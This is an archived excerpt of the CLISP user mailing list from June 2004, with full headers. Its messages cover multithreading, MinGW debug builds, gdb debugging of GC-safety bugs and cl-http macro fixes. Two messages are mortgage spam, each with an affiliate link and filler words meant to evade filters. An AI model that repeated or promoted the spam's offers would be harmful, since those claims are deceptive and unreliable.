"RSA Data Security? Inc." (verified OK)) by hellmouth2.gatech.edu (Postfix) with ESMTP id 3F0CDA4B1 for ; Tue, 15 Jun 2004 12:56:53 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [199.77.204.144] (lawn-199-77-204-144.lawn.gatech.edu [199.77.204.144]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx1.gatech.edu (Postfix) with ESMTP id 0C1A63A60B for ; Tue, 15 Jun 2004 12:56:53 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Denis Bueno X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Subject: [clisp-list] Multithreading CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 15 09:58:07 2004 X-Original-Date: Tue, 15 Jun 2004 12:56:47 -0400 I would like to work on multithreading in CLISP, specifically the POSIX API, because I would like to use the capability for a project I'm working on. I have read doc/multithreading.txt, and looked at src/xthread.d and src/zthread.d. How can I help? -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "Quotation, n: The act of repeating erroneously the words of another." - Ambrose Bierce, The Devil's Dictionary From sds@gnu.org Tue Jun 15 10:17:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BaHYg-0006dD-1l for clisp-list@lists.sourceforge.net; Tue, 15 Jun 2004 10:17:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BaHYf-0006mD-DD for clisp-list@lists.sourceforge.net; Tue, 15 Jun 2004 10:17:13 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5FHFmQb028075; Tue, 15 Jun 2004 13:15:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Tue, 15 Jun 2004 12:56:47 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Multithreading CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 15 10:18:03 2004 X-Original-Date: Tue, 15 Jun 2004 13:15:47 -0400 > * Denis Bueno [2004-06-15 12:56:47 -0400]: > > I would like to work on multithreading in CLISP, specifically the > POSIX API, because I would like to use the capability for a project > I'm working on. I have read doc/multithreading.txt, and looked at > src/xthread.d and src/zthread.d. How can I help? 1. subscribe to ; I set Reply-to: there. 2. try configuring "./configure --with-threads=POSIX_THREADS" and fix the segfaults you will get on CALL-WITH-TIMEOUT. 3. I hope Bruno will offer more specific advice on implementing the missing functions in src/zthread.d -- Sam Steingold (http://www.podval.org/~sds) running w2k Press any key to continue or any other key to quit. From andreas.thiele@technologiekontor.de Fri Jun 18 11:45:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BbOMd-0002ez-HE for clisp-list@lists.sourceforge.net; Fri, 18 Jun 2004 11:45:23 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BbOMc-0005X0-Va for clisp-list@lists.sourceforge.net; Fri, 18 Jun 2004 11:45:23 -0700 Received: from atpws02 (pD958BFCF.dip.t-dialin.net [217.88.191.207]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i5IIjI8I009360 for ; Fri, 18 Jun 2004 20:45:18 +0200 (MEST) From: "Andreas Thiele" To: Message-ID: <000401c45564$68214d40$b100fea9@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 18 11:46:01 2004 X-Original-Date: Fri, 18 Jun 2004 20:45:19 +0200 >Yes, I understand, and all CLISP developers will greatly appreciate it if you will help us nail this bug! >... I am working on this. Until now I was not able to produce a working cygwin/mingw w32 clisp build to run gdb on it. This seems to be a very very difficult thing. With CC=g++ ./configure --with-debug --with-mingw I was able to create the executable. But it did not pass the test suite. Isn't there any thorough guide on how to build clisp for windows with mingw? Andreas From sds@gnu.org Fri Jun 18 13:49:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BbQIj-0005Ze-AJ for clisp-list@lists.sourceforge.net; Fri, 18 Jun 2004 13:49:29 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BbQIi-0000Q1-Va for clisp-list@lists.sourceforge.net; Fri, 18 Jun 2004 13:49:29 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BbQIh-0007Ka-00; Fri, 18 Jun 2004 16:49:27 -0400 To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <000401c45564$68214d40$b100fea9@atpws02> (Andreas Thiele's message of "Fri, 18 Jun 2004 20:45:19 +0200") References: <000401c45564$68214d40$b100fea9@atpws02> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 18 13:50:04 2004 X-Original-Date: Fri, 18 Jun 2004 16:49:26 -0400 > * Andreas Thiele [2004-06-18 20:45:19 +0200]: > >>Yes, I understand, and all CLISP developers will greatly appreciate it > if you will help us nail this bug! >>... > > I am working on this. Until now I was not able to produce a working > cygwin/mingw w32 clisp build to run gdb on it. This seems to be a very > very difficult thing. With > > CC=g++ ./configure --with-debug --with-mingw you should also pass a directory argument > I was able to create the executable. But it did not pass the test > suite. which tests fail? can you give us a gdb backtrace? (I assume abort) > Isn't there any thorough guide on how to build clisp for windows with > mingw? it amounts to $ ./configure --without-cygwin --with-debug --build build-g to configure and build in the "build-g" directory you are welcome to write a better guide :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k If you try to fail, and succeed, which have you done? From andreas.thiele@technologiekontor.de Sun Jun 20 14:23:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bc9ml-0005Wa-NS for clisp-list@lists.sourceforge.net; Sun, 20 Jun 2004 14:23:31 -0700 Received: from natsmtp00.rzone.de ([81.169.145.165]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Bc9ml-00058h-4X for clisp-list@lists.sourceforge.net; Sun, 20 Jun 2004 14:23:31 -0700 Received: from atpws02 (p50819BB5.dip.t-dialin.net [80.129.155.181]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i5KLNRhK007561 for ; Sun, 20 Jun 2004 23:23:27 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: <000401c4570c$d5391ad0$b100fea9@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 20 14:24:04 2004 X-Original-Date: Sun, 20 Jun 2004 23:23:29 +0200 >it amounts to >$ ./configure --without-cygwin --with-debug --build build-g >to configure and build in the "build-g" directory I did the following $ ./configure --without-cygwin --with-debug build-g-200 and followed the instruction at the end (-200 is an random label, no meaning for me). Thus I typed $ cd build-g-200 $ ./makemake --with-dynamic-ffi --verbose --win32gcc debug > Makefile $ make config.lisp $ make Clisp was build but the process ends with: g++ -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimp licit -Wreturn-type -Wno-sign-compare -falign-functions=4 -D_WIN32 -g -DDEBUG_O S_ERROR -DDEBUG_SPVW -DSAFETY=3 -DDEBUG_GCSAFETY -DNO_TYPECODES -DCINTERFACE -DU NICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none -DUSE_CLISP_H =0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl.exe In file included from clisp-test.c:5: lispbibl.d:7223: warning: volatile register variables don't work as you might wish clisp-test-clisp > clisp-test-clisp.out clisp-test-lispbibl > clisp-test-lispbibl.out cmp clisp-test-clisp.out clisp-test-lispbibl.out clisp-test-clisp.out clisp-test-lispbibl.out differ: char 1641, line 93 make: *** [clisp.h] Error 1 Thiele@atp-ws-02 ~/clisp/build-g-200 $ I think clisp was built but did not pass a test. So what can be the problem? My installation of cygwin? I can start this clisp even with gdb. This clisp crashes at some other point when loading my sources. I don't wonder because it seems to be no correct clisp. I think my problem is setting up cygwin. In unix/INSTALL four libs are mentioned. * GNU libsigsegv * GNU libiconv * GNU readline * GNU gettext I only was able to build libsigsegv and could not built the other three. This is what I mean when thinking about a guide. Which version of Cygwin, which gcc version, how to install, how to check or verify versions, how to built these libs etc.. Any hints? Andreas From andreas.thiele@technologiekontor.de Sun Jun 20 14:41:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcA3x-0006WP-UL for clisp-list@lists.sourceforge.net; Sun, 20 Jun 2004 14:41:17 -0700 Received: from natsmtp00.rzone.de ([81.169.145.165]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BcA3x-00078o-D5 for clisp-list@lists.sourceforge.net; Sun, 20 Jun 2004 14:41:17 -0700 Received: from atpws02 (p50819BB5.dip.t-dialin.net [80.129.155.181]) by post.webmailer.de (8.12.10/8.12.10) with ESMTP id i5KLfD74025899 for ; Sun, 20 Jun 2004 23:41:13 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: <000501c4570f$50718780$b100fea9@atpws02> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 20 14:42:03 2004 X-Original-Date: Sun, 20 Jun 2004 23:41:15 +0200 I forgot to mention, I tried to built 2.33.1. Might this be the problem? From sds@gnu.org Mon Jun 21 06:56:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcPHI-00070C-GV for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 06:56:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BcPHI-000805-4Z for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 06:56:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5LDtnWo026595; Mon, 21 Jun 2004 09:55:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <000401c4570c$d5391ad0$b100fea9@atpws02> (Andreas Thiele's message of "Sun, 20 Jun 2004 23:23:29 +0200") References: <000401c4570c$d5391ad0$b100fea9@atpws02> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Andreas Thiele" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: AW: Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 21 06:57:00 2004 X-Original-Date: Mon, 21 Jun 2004 09:55:48 -0400 > * Andreas Thiele [2004-06-20 23:23:29 +0200]: > > cmp clisp-test-clisp.out clisp-test-lispbibl.out > clisp-test-clisp.out clisp-test-lispbibl.out differ: char 1641, line 93 > I think clisp was built but did not pass a test. clisp was build, but reported that it cannot build modules in C++ mode. unfortunately, this is to be expected. I hope Bruno will fix this. If you wish, please run the CLISP internal testsuite with "make check". > So what can be the problem? no problem whatsoever! now, start CLISP under gdb (cd build-g-200, gdb, run) and start testing your code. if indeed, as we expect, this is a GC-safety bug, you will get an abort which will pinpoint the first place where an invalid object was used. Specifically, there is a global integer variable alloccount and the object structure contains an integer allocstamp slot. If these two integers are not the same, the object is invalid. By playing with gdb, you should be able to figure out the precise spot where a GC increments alloccount after the object has been retrieved from a GC-visible location. -- Sam Steingold (http://www.podval.org/~sds) running w2k Incorrect time syncronization. From karsten.poeck@wanadoo.es Mon Jun 21 12:16:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcUHQ-0003rK-Nx for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 12:16:32 -0700 Received: from smtp13.eresmas.com ([62.81.235.113]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BcUHP-0004Iv-Uq for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 12:16:32 -0700 Received: from [192.168.108.57] (helo=mx07.eresmas.com) by smtp13.eresmas.com with esmtp (Exim 4.10) id 1BcUHF-0003Fi-00 for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 21:16:21 +0200 Received: from [80.102.192.173] (helo=DBTGFX0J.wanadoo.es) by mx07.eresmas.com with esmtp (Exim 4.30) id 1BcUHG-0005XD-Fx for clisp-list@lists.sourceforge.net; Mon, 21 Jun 2004 21:16:23 +0200 Message-Id: <6.1.1.1.0.20040621211525.01c080b8@pop3.terra.es> X-Sender: karsten.poeck@wanadoo.es@pop.wanadoo.es X-Mailer: QUALCOMM Windows Eudora Version 6.1.1.1 To: clisp-list@lists.sourceforge.net From: Karsten Poeck Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] macro problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 21 12:17:02 2004 X-Original-Date: Mon, 21 Jun 2004 21:16:20 +0200 Hello, I found two minor problems while trying to compile cl-http in clisp. In the following macro :start is twice passed to position-if for end-tag. Unfortunately I don't see at first glance which :start is correct. (defmacro with-parsed-ncsa-line ((key line &key (line-offset 0) (line-end nil line-end-supplied-p) (url-var 'url-string) (raw-coordinates-var 'raw-coordinates)) &body body) `(let* ((end-key ,(typecase key (string (length key))(t `(length ,key)))) (line-len ,(if line-end-supplied-p line-end `(length ,line))) (start (string-search ,key ,line 0 end-key ,line-offset line-len)) (end-tag (position-if #'white-space-char-p ,line :start (the fixnum (+ start end-key)) :start start :end line-len)) ;;; above this line (start-url (position-if-not #'white-space-char-p ,line :start end-tag :end line-len)) (end-url (position-if #'white-space-char-p ,line :start start-url :end line-len)) (,url-var (subseq ,line start-url end-url)) (,raw-coordinates-var (subseq ,line end-url line-len))) (declare (fixnum line-len start end-tag start-url end-url end-key)) ,@body)) Dump-one shouldn't pass ::estimated-length for clisp and allegro #+(or MCL clisp allegro) (defun dump-one (thing filename &optional estimated-length) (declare (ignore estimated-length)) (with-open-file (str filename :direction :output :element-type '(unsigned-byte 8) :if-exists :supersede) (write-byte (obtain-version-number) str) (let ((*print-readably* t)) ; so dump-other will signal errors (dump-thing thing str)) (write-byte +end-tag+ str))) There are some other places where #+clisp conditionals are needed. As soon I have figured out whether they are needed are clisp behaviour is incorrect I will post. I am aware that clisp does not offer multitasking and cl-http will not be two usefull without that, but my programms are usually more correct w.r.t. ansi after being compiled with clisp saludos Karsten From becky_orozco_yp@stormwater.com.au Mon Jun 21 15:12:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcX1w-0000gg-Uc; Mon, 21 Jun 2004 15:12:44 -0700 Received: from adsl-66-137-81-67.dsl.lgvwtx.swbell.net ([66.137.81.67] helo=hayesmanorsch.co.uk) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BcX1w-0001Dd-Ex; Mon, 21 Jun 2004 15:12:44 -0700 Received: from 191.87.7.127 by smtp.stormwater.com.au; Mon, 21 Jun 2004 22:13:48 +0000 Message-ID: <84f601c457dc$c25aef66$2fffc6c5@hayesmanorsch.co.uk> From: "Becky Orozco" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] $73221 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 21 15:13:08 2004 X-Original-Date: Tue, 22 Jun 2004 03:13:21 +0500 Hello, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.refifast.biz/aff/affiliate.php?uid=71 Best Regards, Steve Morris ---- system information ---- locale limited service documents mechanism organization variation fully design important the kinds One language than describes specification represents parts Collation invite months implementers application From minnie.crewshc@opava.cz Tue Jun 22 04:08:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bcj8v-0005Dx-33; Tue, 22 Jun 2004 04:08:45 -0700 Received: from 218-166-184-228.dynamic.hinet.net ([218.166.184.228] helo=marina-productions.fr) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1Bcj8u-000121-5Y; Tue, 22 Jun 2004 04:08:44 -0700 Received: from 176.210.89.238 by smtp.opava.cz; Tue, 22 Jun 2004 11:09:51 +0000 Message-ID: <64f001c45849$a7dd4e9f$01c50480@marina-productions.fr> From: "Minnie Crews" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_BRACKET_CLOSE BODY: Text interparsed with ] 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] $12882 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 22 04:09:10 2004 X-Original-Date: Tue, 22 Jun 2004 05:09:46 -0600 Hello, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.refifast.biz/aff/affiliate.php?uid=71 Best Regards, Steve Morris ---- system information ---- International formatting) adapted Policy respect obtains section or descriptions native Locale provider number documents [Definition: offer found An back cannot relevant Preferences]The internationalization setting From sds@gnu.org Tue Jun 22 06:59:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bclnj-0003NT-DA for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 06:59:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Bclnj-00018T-0F for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 06:59:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5MDwbVd004898; Tue, 22 Jun 2004 09:58:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] keyword argument naming poll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: 